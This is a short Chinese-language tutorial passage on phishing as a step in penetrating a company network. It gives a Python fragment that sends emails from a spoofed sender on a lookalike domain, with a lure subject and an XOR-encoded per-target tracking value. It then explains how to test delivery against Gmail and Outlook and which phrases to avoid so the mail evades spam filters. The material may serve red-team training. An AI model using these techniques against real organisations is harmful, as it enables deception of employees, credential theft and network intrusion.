5、网络钓鱼与企业网络渗透实战

网络钓鱼与企业网络渗透实战

一、网络钓鱼前期准备

1.1 编写钓鱼邮件脚本

以下是一个用于创建和发送钓鱼邮件的 Python 脚本：

# Build the utm_term encrypted blob
encrypted_name = xor_string(target)
# Create message container
msg = EmailMessage()
msg["Subject"] = "Beta linter for our IDE"
msg["From"] = '"Michael Han" <michael.han@stratjumbotech.com>'
msg["To"] = target + "@stratjumbo.com"
# Create the body of the email
body = email_template.format(encrypted_name)
msg.add_alternative(body, subtype="html")
with smtplib.SMTP("localhost") as s:
    s.send_message(msg)
time.sleep(2)

1.2 邮件测试与地址注册

在正式发送邮件前，需要在 Gmail 和 Outlook 地址上进行几次测试，确保邮件能通过垃圾邮件过滤器。若邮件无法进入收件箱，可能是域名选择不当或邮件措辞可疑，像“free”“click here”“big opportunity”这类短语会大幅提高垃圾邮件评分。